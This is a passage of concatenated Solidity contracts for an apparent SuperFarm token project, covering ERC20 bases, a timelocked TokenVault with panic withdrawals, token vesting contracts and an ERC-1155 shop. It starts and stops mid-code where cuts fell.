uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
// Increase the number of votes delegated to the new representative.
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
/**
An internal function to write a checkpoint of modified vote amounts.
This function is guaranteed to add at most one checkpoint per block.
@param delegatee The address whose vote count is changed.
@param nCheckpoints The number of checkpoints by address `delegatee`.
@param oldVotes The prior vote count of address `delegatee`.
@param newVotes The new vote count of address `delegatee`.
*/
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Block number exceeds 32 bits.");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/**
A function to safely limit a number to less than 2^32.
@param n the number to limit.
@param errorMessage the error message to revert with should `n` be too large.
@return The number `n` limited to 32 bits.
*/
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
/**
A function to return the ID of the contract's particular network or chain.
@return The ID of the contract's network or chain.
*/
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./ERC20.sol";
/**
* @dev Extension of {ERC20} that adds a cap to the supply of tokens.
*/
abstract contract ERC20Capped is ERC20 {
using SafeMath for uint256;
uint256 private _cap;
/**
* @dev Sets the value of the `cap`. This value is immutable, it can only be
* set once during construction.
*/
constructor (uint256 cap_) internal {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
/**
* @dev Returns the cap on the token's total supply.
*/
function cap() public view virtual returns (uint256) {
return _cap;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - minted tokens must not cause the total supply to go over the cap.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= cap(), "ERC20Capped: cap exceeded");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./Token.sol";
/**
@title A vault for securely holding tokens.
@author Tim Clancy
The purpose of this contract is to hold a single type of ERC-20 token securely
behind a Compound Timelock governed by a Gnosis MultiSigWallet. Tokens may
only leave the vault with multisignature permission and after passing through
a mandatory timelock. The justification for the timelock is such that, if the
multisignature wallet is ever compromised, the team will have two days to act
in mitigating the potential damage from the attacker's `sentTokens` call. Such
mitigation efforts may include calling `panic` from a separate, uncompromised
and non-timelocked multisignature wallet, or finding some way to issue a new
token entirely.
*/
contract TokenVault is Ownable, ReentrancyGuard {
using SafeMath for uint256;
/// A version number for this TokenVault contract's interface.
uint256 public version = 1;
/// A user-specified, descriptive name for this TokenVault.
string public name;
/// The token to hold safe.
Token public token;
/**
The panic owner is an optional address allowed to immediately send the
contents of the vault to the address specified in `panicDestination`. The
intention of this system is to support a series of cascading vaults secured
by their own multisignature wallets. If, for instance, vault one is
compromised via its attached multisignature wallet, vault two could
intercede to save the tokens from vault one before the malicious token send
clears the owning timelock.
*/
address public panicOwner;
/// An optional address where tokens may be immediately sent by `panicOwner`.
address public panicDestination;
/**
A counter to limit the number of times a vault can panic before burning the
underlying supply of tokens. This limit is in place to protect against a
situation where multiple vaults linked in a circle are all compromised. In
the event of such an attack, this still gives the original multisignature
holders the chance to burn the tokens by repeatedly calling `panic` before
the attacker can use `sendTokens`.
*/
uint256 public panicLimit;
/// A counter for the number of times this vault has panicked.
uint256 public panicCounter;
/// A flag to determine whether or not this vault can alter its `panicOwner` and `panicDestination`.
bool public canAlterPanicDetails;
/// An event for tracking a change in panic details.
event PanicDetailsChange(address indexed panicOwner, address indexed panicDestination);
/// An event for tracking a lock on alteration of panic details.
event PanicDetailsLocked();
/// An event for tracking a disbursement of tokens.
event TokenSend(uint256 tokenAmount);
/// An event for tracking a panic transfer of tokens.
event PanicTransfer(uint256 panicCounter, uint256 tokenAmount, address indexed destination);
/// An event for tracking a panic burn of tokens.
event PanicBurn(uint256 panicCounter, uint256 tokenAmount);
/// @dev a modifier which allows only `panicOwner` to call a function.
modifier onlyPanicOwner() {
require(panicOwner == _msgSender(),
"TokenVault: caller is not the panic owner");
_;
}
/**
Construct a new TokenVault by providing it a name and the token to disburse.
@param _name The name of the TokenVault.
@param _token The token to store and disburse.
@param _panicOwner The address to grant emergency withdrawal powers to.
@param _panicDestination The destination to withdraw to in emergency.
@param _panicLimit A limit for the number of times `panic` can be called before tokens burn.
*/
constructor(string memory _name, Token _token, address _panicOwner, address _panicDestination, uint256 _panicLimit) public {
name = _name;
token = _token;
panicOwner = _panicOwner;
panicDestination = _panicDestination;
panicLimit = _panicLimit;
panicCounter = 0;
canAlterPanicDetails = true;
uint256 MAX_INT = 2**256 - 1;
token.approve(address(this), MAX_INT);
}
/**
Allows the owner of the TokenVault to update the `panicOwner` and
`panicDestination` details governing its panic functionality.
@param _panicOwner The new panic owner to set.
@param _panicDestination The new emergency destination to send tokens to.
*/
function changePanicDetails(address _panicOwner, address _panicDestination) external nonReentrant onlyOwner {
require(canAlterPanicDetails,
"You cannot change panic details on a vault which is locked.");
panicOwner = _panicOwner;
panicDestination = _panicDestination;
emit PanicDetailsChange(panicOwner, panicDestination);
}
/**
Allows the owner of the TokenVault to lock the vault to all future panic
detail changes.
*/
function lock() external nonReentrant onlyOwner {
canAlterPanicDetails = false;
emit PanicDetailsLocked();
}
/**
Allows the TokenVault owner to send tokens out of the vault.
@param _recipients The array of addresses to receive tokens.
@param _amounts The array of amounts sent to each address in `_recipients`.
*/
function sendTokens(address[] calldata _recipients, uint256[] calldata _amounts) external nonReentrant onlyOwner {
require(_recipients.length > 0,
"You must send tokens to at least one recipient.");
require(_recipients.length == _amounts.length,
"Recipients length cannot be mismatched with amounts length.");
// Iterate through every specified recipient and send tokens.
uint256 totalAmount = 0;
for (uint256 i = 0; i < _recipients.length; i++) {
address recipient = _recipients[i];
uint256 amount = _amounts[i];
token.transfer(recipient, amount);
totalAmount = totalAmount.add(amount);
}
emit TokenSend(totalAmount);
}
/**
Allow the TokenVault's `panicOwner` to immediately send its contents to a
predefined `panicDestination`. This can be used to circumvent the timelock
in case of an emergency.
*/
function panic() external nonReentrant onlyPanicOwner {
uint256 totalBalance = token.balanceOf(address(this));
// If the panic limit is reached, burn the tokens.
if (panicCounter == panicLimit) {
token.burn(totalBalance);
emit PanicBurn(panicCounter, totalBalance);
// Otherwise, drain the vault to the panic destination.
} else {
if (panicDestination == address(0)) {
token.burn(totalBalance);
emit PanicBurn(panicCounter, totalBalance);
} else {
token.transfer(panicDestination, totalBalance);
emit PanicTransfer(panicCounter, totalBalance, panicDestination);
}
panicCounter = panicCounter.add(1);
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title A token vesting contract for streaming claims.
@author SuperFarm
This vesting contract allows users to claim vested tokens with every block.
*/
contract VestStream is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeMath for uint64;
using SafeERC20 for IERC20;
/// The token to disburse in vesting.
IERC20 public token;
// Information for a particular token claim.
// - totalAmount: the total size of the token claim.
// - startTime: the timestamp in seconds when the vest begins.
// - endTime: the timestamp in seconds when the vest completely matures.
// - lastCLaimTime: the timestamp in seconds of the last time the claim was utilized.
// - amountClaimed: the total amount claimed from the entire claim.
struct Claim {
uint256 totalAmount;
uint64 startTime;
uint64 endTime;
uint64 lastClaimTime;
uint256 amountClaimed;
}
// A mapping of addresses to the claim received.
mapping(address => Claim) private claims;
/// An event for tracking the creation of a token vest claim.
event ClaimCreated(address creator, address beneficiary);
/// An event for tracking a user claiming some of their vested tokens.
event Claimed(address beneficiary, uint256 amount);
/**
Construct a new VestStream by providing it a token to disburse.
@param _token The token to vest to claimants in this contract.
*/
constructor(IERC20 _token) public {
token = _token;
uint256 MAX_INT = 2**256 - 1;
token.approve(address(this), MAX_INT);
}
/**
A function which allows the caller to retrieve information about a specific
claim via its beneficiary.
@param beneficiary the beneficiary to query claims for.
*/
function getClaim(address beneficiary) external view returns (Claim memory) {
require(beneficiary != address(0), "The zero address may not be a claim beneficiary.");
return claims[beneficiary];
}
/**
A function which allows the caller to retrieve information about a specific
claim's remaining claimable amount.
@param beneficiary the beneficiary to query claims for.
*/
function claimableAmount(address beneficiary) public view returns (uint256) {
Claim memory claim = claims[beneficiary];
// Early-out if the claim has not started yet.
if (claim.startTime == 0 || block.timestamp < claim.startTime) {
return 0;
}
// Calculate the current releasable token amount.
uint64 currentTimestamp = uint64(block.timestamp) > claim.endTime ? claim.endTime : uint64(block.timestamp);
uint256 claimPercent = currentTimestamp.sub(claim.startTime).mul(1e18).div(claim.endTime.sub(claim.startTime));
uint256 claimAmount = claim.totalAmount.mul(claimPercent).div(1e18);
// Reduce the unclaimed amount by the amount already claimed.
uint256 unclaimedAmount = claimAmount.sub(claim.amountClaimed);
return unclaimedAmount;
}
/**
Sweep all of a particular ERC-20 token from the contract.
@param _token The token to sweep the balance from.
*/
function sweep(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
_token.safeTransferFrom(address(this), msg.sender, balance);
}
/**
A function which allows the caller to create toke vesting claims for some
beneficiaries. The disbursement token will be taken from the claim creator.
@param _beneficiaries an array of addresses to construct token claims for.
@param _totalAmounts the total amount of tokens to be disbursed to each beneficiary.
@param _startTime a timestamp when this claim is to begin vesting.
@param _endTime a timestamp when this claim is to reach full maturity.
*/
function createClaim(address[] memory _beneficiaries, uint256[] memory _totalAmounts, uint64 _startTime, uint64 _endTime) external onlyOwner {
require(_beneficiaries.length > 0, "You must specify at least one beneficiary for a claim.");
require(_beneficiaries.length == _totalAmounts.length, "Beneficiaries and their amounts may not be mismatched.");
require(_endTime >= _startTime, "You may not create a claim which ends before it starts.");
// After validating the details for this token claim, initialize a claim for
// each specified beneficiary.
for (uint i = 0; i < _beneficiaries.length; i++) {
address _beneficiary = _beneficiaries[i];
uint256 _totalAmount = _totalAmounts[i];
require(_beneficiary != address(0), "The zero address may not be a beneficiary.");
require(_totalAmount > 0, "You may not create a zero-token claim.");
// Establish a claim for this particular beneficiary.
Claim memory claim = Claim({
totalAmount: _totalAmount,
startTime: _startTime,
endTime: _endTime,
lastClaimTime: _startTime,
amountClaimed: 0
});
claims[_beneficiary] = claim;
emit ClaimCreated(msg.sender, _beneficiary);
}
}
/**
A function which allows the caller to send a claim's unclaimed amount to the
beneficiary of the claim.
@param beneficiary the beneficiary to claim for.
*/
function claim(address beneficiary) external nonReentrant {
Claim memory _claim = claims[beneficiary];
// Verify that the claim is still active.
require(_claim.lastClaimTime < _claim.endTime, "This claim has already been completely claimed.");
// Calculate the current releasable token amount.
uint64 currentTimestamp = uint64(block.timestamp) > _claim.endTime ? _claim.endTime : uint64(block.timestamp);
uint256 claimPercent = currentTimestamp.sub(_claim.startTime).mul(1e18).div(_claim.endTime.sub(_claim.startTime));
uint256 claimAmount = _claim.totalAmount.mul(claimPercent).div(1e18);
// Reduce the unclaimed amount by the amount already claimed.
uint256 unclaimedAmount = claimAmount.sub(_claim.amountClaimed);
// Transfer the unclaimed tokens to the beneficiary.
token.safeTransferFrom(address(this), beneficiary, unclaimedAmount);
// Update the amount currently claimed by the user.
_claim.amountClaimed = claimAmount;
// Update the last time the claim was utilized.
_claim.lastClaimTime = currentTimestamp;
// Update the claim structure being tracked.
claims[beneficiary] = _claim;
// Emit an event for this token claim.
emit Claimed(beneficiary, unclaimedAmount);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title An OpenSea mock proxy contract which we use to test whitelisting.
@author OpenSea
*/
contract MockProxyRegistry is Ownable {
using SafeMath for uint256;
/// A mapping of testing proxies.
mapping(address => address) public proxies;
/**
Allow the registry owner to set a proxy on behalf of an address.
@param _address The address that the proxy will act on behalf of.
@param _proxyForAddress The proxy that will act on behalf of the address.
*/
function setProxy(address _address, address _proxyForAddress) external onlyOwner {
proxies[_address] = _proxyForAddress;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC1155/ERC1155Holder.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "./FeeOwner.sol";
import "./Fee1155.sol";
/**
@title A simple Shop contract for selling ERC-1155s for Ether via direct
minting.
@author Tim Clancy
This contract is a limited subset of the Shop1155 contract designed to mint
items directly to the user upon purchase.
*/
contract ShopEtherMinter1155 is ERC1155Holder, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// A version number for this Shop contract's interface.
uint256 public version = 1;
/// @dev A mask for isolating an item's group ID.
uint256 constant GROUP_MASK = uint256(uint128(~0)) << 128;
/// A user-specified Fee1155 contract to support selling items from.
Fee1155 public item;
/// A user-specified FeeOwner to receive a portion of Shop earnings.
FeeOwner public feeOwner;
/// The Shop's inventory of item groups for sale.
uint256[] public inventory;
/// The Shop's price for each item group.
mapping (uint256 => uint256) public prices;
/**
Construct a new Shop by providing it a FeeOwner.
@param _item The address of the Fee1155 item that will be minting sales.
@param _feeOwner The address of the FeeOwner due a portion of Shop earnings.
*/
constructor(Fee1155 _item, FeeOwner _feeOwner) public {
item = _item;
feeOwner = _feeOwner;
}
/**
Returns the length of the inventory array.
@return the length of the inventory array.
*/
function getInventoryCount() external view returns (uint256) {
return inventory.length;
}
/**
Allows the Shop owner to list a new set of NFT items for sale.
@param _groupIds The item group IDs to list for sale in this shop.
@param _prices The corresponding purchase price to mint an item of each group.
*/
function listItems(uint256[] calldata _groupIds, uint256[] calldata _prices) external onlyOwner {
require(_groupIds.length > 0,
"You must list at least one item.");
require(_groupIds.length == _prices.length,
"Items length cannot be mismatched with prices length.");
// Iterate through every specified item group to list items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
uint256 price = _prices[i];
inventory.push(groupId);
prices[groupId] = price;
}
}
/**
Allows the Shop owner to remove items from sale.
@param _groupIds The group IDs currently listed in the shop to take off sale.
*/
function removeItems(uint256[] calldata _groupIds) external onlyOwner {
require(_groupIds.length > 0,
"You must remove at least one item.");
// Iterate through every specified item group to remove items.
for (uint256 i = 0; i < _groupIds.length; i++) {
uint256 groupId = _groupIds[i];
prices[groupId] = 0;
}
}
/**
Allows any user to purchase items from this Shop. Users supply specfic item
IDs within the groups listed for sale and supply the corresponding amount of
Ether to cover the purchase prices.
@param _itemIds The specific item IDs to purchase from this shop.
*/
function purchaseItems(uint256[] calldata _itemIds) public nonReentrant payable {
require(_itemIds.length > 0,
"You must purchase at least one item.");
// Iterate through every specified item to list items.
uint256 feePercent = feeOwner.fee();
uint256 itemRoyaltyPercent = item.feeOwner().fee();
for (uint256 i = 0; i < _itemIds.length; i++) {
uint256 itemId = _itemIds[i];
uint256 groupId = itemId & GROUP_MASK;
uint256 price = prices[groupId];
require(price > 0,
"You cannot purchase an item that is not listed.");
// Split fees for this purchase.
uint256 feeValue = price.mul(feePercent).div(100000);
uint256 royaltyValue = price.mul(itemRoyaltyPercent).div(100000);
(bool success, ) = payable(feeOwner.owner()).call{ value: feeValue }("");
require(success, "Platform fee transfer failed.");
(success, ) = payable(item.feeOwner().owner()).call{ value: royaltyValue }("");
require(success, "Creator royalty transfer failed.");
(success, ) = payable(owner()).call{ value: price.sub(feeValue).sub(royaltyValue) }("");
require(success, "Shop owner transfer failed.");
// Mint the item.
item.mint(msg.sender, itemId, 1, "");
}
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// TRUFFLE
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperVestCliff {
using SafeMath for uint256;
using Address for address;
address public tokenAddress;
event Claimed(
address owner,
address beneficiary,
uint256 amount,
uint256 index
);
event ClaimCreated(address owner, address beneficiary, uint256 index);
struct Claim {
address owner;
address beneficiary;
uint256[] timePeriods;
uint256[] tokenAmounts;
uint256 totalAmount;
uint256 amountClaimed;
uint256 periodsClaimed;
}
Claim[] private claims;
mapping(address => uint256[]) private _ownerClaims;
mapping(address => uint256[]) private _beneficiaryClaims;
constructor(address _tokenAddress) public {
tokenAddress = _tokenAddress;
}
/**
* Get Owner Claims
*
* @param owner - Claim Owner Address
*/
function ownerClaims(address owner)
external
view
returns (uint256[] memory)
{
require(owner != address(0), "Owner address cannot be 0");
return _ownerClaims[owner];
}
/**
* Get Beneficiary Claims
*
* @param beneficiary - Claim Owner Address
*/
function beneficiaryClaims(address beneficiary)
external
view
returns (uint256[] memory)
{
require(beneficiary != address(0), "Beneficiary address cannot be 0");
return _beneficiaryClaims[beneficiary];
}
/**
* Get Amount Claimed
*
* @param index - Claim Index
*/
function claimed(uint256 index) external view returns (uint256) {
return claims[index].amountClaimed;
}
/**
* Get Total Claim Amount
*
* @param index - Claim Index
*/
function totalAmount(uint256 index) external view returns (uint256) {
return claims[index].totalAmount;
}
/**
* Get Time Periods of Claim
*
* @param index - Claim Index
*/
function timePeriods(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].timePeriods;
}
/**
* Get Token Amounts of Claim
*
* @param index - Claim Index
*/
function tokenAmounts(uint256 index)
external
view
returns (uint256[] memory)
{
return claims[index].tokenAmounts;
}
/**
* Create a Claim - To Vest Tokens to Beneficiary
*
* @param _beneficiary - Tokens will be claimed by _beneficiary
* @param _timePeriods - uint256 Array of Epochs
* @param _tokenAmounts - uin256 Array of Amounts to transfer at each time period
*/
function createClaim(
address _beneficiary,
uint256[] memory _timePeriods,
uint256[] memory _tokenAmounts
) public returns (bool) {
require(
_timePeriods.length == _tokenAmounts.length,
"_timePeriods & _tokenAmounts length mismatch"
);
require(tokenAddress.isContract(), "Invalid tokenAddress");
require(_beneficiary != address(0), "Cannot Vest to address 0");
// Calculate total amount
uint256 _totalAmount = 0;
for (uint256 i = 0; i < _tokenAmounts.length; i++) {
_totalAmount = _totalAmount.add(_tokenAmounts[i]);
}
require(_totalAmount > 0, "Provide Token Amounts to Vest");
require(
ERC20(tokenAddress).allowance(msg.sender, address(this)) >=
_totalAmount,
"Provide token allowance to SuperVestCliff contract"
);
// Transfer Tokens to SuperStreamClaim
ERC20(tokenAddress).transferFrom(
msg.sender,
address(this),
_totalAmount
);
// Create Claim
Claim memory claim =
Claim({
owner: msg.sender,
beneficiary: _beneficiary,
timePeriods: _timePeriods,
tokenAmounts: _tokenAmounts,
totalAmount: _totalAmount,
amountClaimed: 0,
periodsClaimed: 0
});
claims.push(claim);
uint256 index = claims.length - 1;
// Map Claim Index to Owner & Beneficiary
_ownerClaims[msg.sender].push(index);
_beneficiaryClaims[_beneficiary].push(index);
emit ClaimCreated(msg.sender, _beneficiary, index);
return true;
}
/**
* Claim Tokens
*
* @param index - Index of the Claim
*/
function claim(uint256 index) external {
Claim storage claim = claims[index];
// Check if msg.sender is the beneficiary
require(
claim.beneficiary == msg.sender,
"Only beneficiary can claim tokens"
);
// Check if anything is left to release
require(
claim.periodsClaimed < claim.timePeriods.length,
"Nothing to release"
);
// Calculate releasable amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
claim.periodsClaimed = claim.periodsClaimed.add(1);
} else {
break;
}
}
// If there is any amount to release
require(amount > 0, "Nothing to release");
// Transfer Tokens from Owner to Beneficiary
ERC20(tokenAddress).transfer(claim.beneficiary, amount);
claim.amountClaimed = claim.amountClaimed.add(amount);
emit Claimed(claim.owner, claim.beneficiary, amount, index);
}
/**
* Get Amount of tokens that can be claimed
*
* @param index - Index of the Claim
*/
function claimableAmount(uint256 index) public view returns (uint256) {
Claim storage claim = claims[index];
// Calculate Claimable Amount
uint256 amount = 0;
for (
uint256 i = claim.periodsClaimed;
i < claim.timePeriods.length;
i++
) {
if (claim.timePeriods[i] <= block.timestamp) {
amount = amount.add(claim.tokenAmounts[i]);
} else {
break;
}
}
return amount;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// TRUFFLE
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract SuperNFTVestStream {
using SafeMath for uint256;
using Address for address;
address public tokenAddress;
address public nftAddress;
event Claimed(
address owner,
uint256 nftId,
address beneficiary,
uint256 amount,
uint256 index
);
event ClaimCreated(
address owner,
uint256 nftId,
